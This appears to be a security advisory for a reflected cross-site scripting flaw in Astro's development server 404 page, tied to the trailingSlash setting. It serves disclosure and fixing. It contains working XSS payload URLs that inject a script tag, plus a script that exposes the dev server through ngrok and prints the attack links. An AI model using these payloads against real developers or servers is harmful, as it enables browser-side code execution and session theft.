"details": "## Summary\n\nA Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.\n\n## Details\n\n### Vulnerability Location\n\nhttps://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149\n\n### Root Cause\n\nThe vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to \"redirect trailing slashes on on-demand rendered pages.\" The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.\n\n**Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text.\n\n### Attack Vector\n\nWhen a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.\n\n## PoC\n\n### Local Testing (localhost)\n\nBasic vulnerability verification in local development environment\n\n<details>\n<summary>Show details</summary>\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from 'astro/config';\n\nexport default defineConfig({\n trailingSlash: 'never', // or 'always'\n server: {\n port: 3000,\n host: true\n }\n});\n```\n\n`package.json`:\n```json\n{\n \"name\": \"astro-xss-poc-victim\",\n \"version\": \"0.1.0\",\n \"scripts\": {\n \"dev\": \"astro dev\"\n },\n \"dependencies\": {\n \"astro\": \"5.15.5\"\n }\n}\n```\n\nStart the development server:\n```bash\nnpm install\nnpm run dev\n```\n\nAccess the following malicious URL depending on your configuration:\n\n**For `trailingSlash: 'never'`** (requires trailing slash):\n```\nhttp://localhost:3000/\"></code><script>alert(document.domain)</script><!--/\n```\n\n**For `trailingSlash: 'always'`** (no trailing slash):\n```\nhttp://localhost:3000/\"></code><script>alert(document.domain)</script><!--\n```\n\nWhen accessing the malicious URL:\n1. The development server returns a 404 page due to trailing slash mismatch\n2. The JavaScript payload (`alert(document.domain)`) executes in the browser\n3. An alert dialog appears, demonstrating arbitrary code execution\n\n</details>\n\n### Remote Testing (ngrok)\n\nReproduce realistic attack scenario via external malicious link\n\n<details>\n<summary>Show details</summary>\n\nPrerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken <key>`)\n\nSetup and Execution:\n```bash\n#!/bin/bash\nset -e\n\nmkdir -p logs\n\nnpm i\nnpm run dev > ./logs/victim.log 2>&1 &\n\nngrok http 3000 > ./logs/ngrok.log 2>&1 &\n\nsleep 3\n\nNGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '\"public_url\":\"https://[^\"]*' | head -1 | cut -d'\"' -f4)\necho \"\"\necho \"=== Attack URLs ===\"\necho \"\"\necho \"For trailingSlash: 'never' (requires trailing slash):\"\necho \"${NGROK_URL}/\\\"></code><script>alert(document.domain)</script><!--/\"\necho \"\"\necho \"For trailingSlash: 'always' (no trailing slash):\"\necho \"${NGROK_URL}/\\\"></code><script>alert(document.domain)</script><!--\"\necho \"\"\nwait\n```\n\nWhen a remote user accesses either of the generated attack URLs:\n1. The request is tunneled through ngrok to the local development server\n2. The development server returns a 404 page due to trailing slash mismatch\n3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser\n\nBoth URL patterns work depending on your `trailingSlash` configuration ('never' or 'always').\n\n</details>\n\n## Impact\n\nThis only affects the **development server**. Risk depends on how and where the dev server is exposed.\n\n### Security impact\n\n* **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser.\n* **Session hijacking**: Active developer sessions can be stolen if services are open in the browser.\n* **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies.\n* **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure.\n\n### Attack scenarios\n\n* **Social engineering**: Malicious link sent to a developer triggers the XSS when opened.\n* **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs.\n* **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.",
0 commit comments